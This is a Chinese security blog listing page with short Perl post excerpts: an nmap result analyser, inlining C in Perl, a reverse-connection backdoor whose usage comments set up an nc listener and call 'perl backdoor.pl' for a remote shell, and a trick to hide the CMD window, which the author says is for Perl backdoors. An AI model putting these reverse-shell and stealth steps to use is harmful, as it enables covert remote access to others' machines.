鬼仔's Blog

作者：云舒

很久之前写过一个简单的分析nmap结果的perl脚本，http://icylife.net/yunshu/show.php?id=446，似乎是07年夏天吧。这几天因为一点小需求做了个稍微复杂一点的，可对端口的服务以及版本做一个简单的判断。

代码很简单，就是用hash保存了端口和服务的对应，服务和最新版本的对应，然后判断扫描的结果是否符合预定义的情况。因为没几行，所以就没什么注释了，看看就明白了。
阅读全文 »

作者：小杰

都是使用nc监听！
反向连接代码：

#!/usr/bin/perl
#usage:
#nc -vv -l -p PORT(default 1988) on your local system first,then
#Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
#Type 'exit' to exit or press Enter to gain shell when u under the 'console'.
#nc -vv -l -p 1988
#perl backdoor.pl 127.0.0.1 1988    
 阅读全文 »

By：云舒
2007-12-21
Blog: http://www.icylife.net

这个又是一篇好玩的文章，前几天回家看爸爸妈妈，在火车上闲得没事，翻看perl的文档，练练英语，也仔细读读perl的一些东西。插一句老话，不是语言不行，而是人不行，努力去学，所有的语言都有适合的领域，都有生存的空间。

以前有些应用中perl的速度比较慢，但是如果和c结合起来，就可以解决这样的问题了。perl和c结合有三种办法，第一是用c来写xs制作perl模块，再在perl代码中加载，这个比较简单，CU和IBM都有文档看，我就不写了。第二是在C中嵌入perl脚本，这个对我来说没什么用，我还没看。第三就是本文要说的，在Perl中嵌入C代码了。实现起来简单方便，唯一的要求是运行perl脚本的机器要有编译器，VC和GCC都行。直接看代码吧，然后再解释：
阅读全文 »

作者：demonalex

一直有朋友问我PERL程序如何在运行时不显示CMD窗体，其实这种应用只不过是为了满足大家用PERL写后门或是其他什么东西时不会弹出个奇怪的 CMD窗体而已。。。我一直都认为这能在PERL解释器加载项又或是程序调用中解决这问题，直到最近要调试“黄老太”时才开始考虑这问题，最后找到的解决方案是在perlapp程序编译时解决的，例如我现在写个删除c:\ccc.txt的程序：

#!/bin/perl -w
use Win32::FileOp;
Win32::FileOp->Delete("c:\ccc.txt");
exit 1;

默认的话会跳出个CMD（闪一下吧。。。 阅读全文 »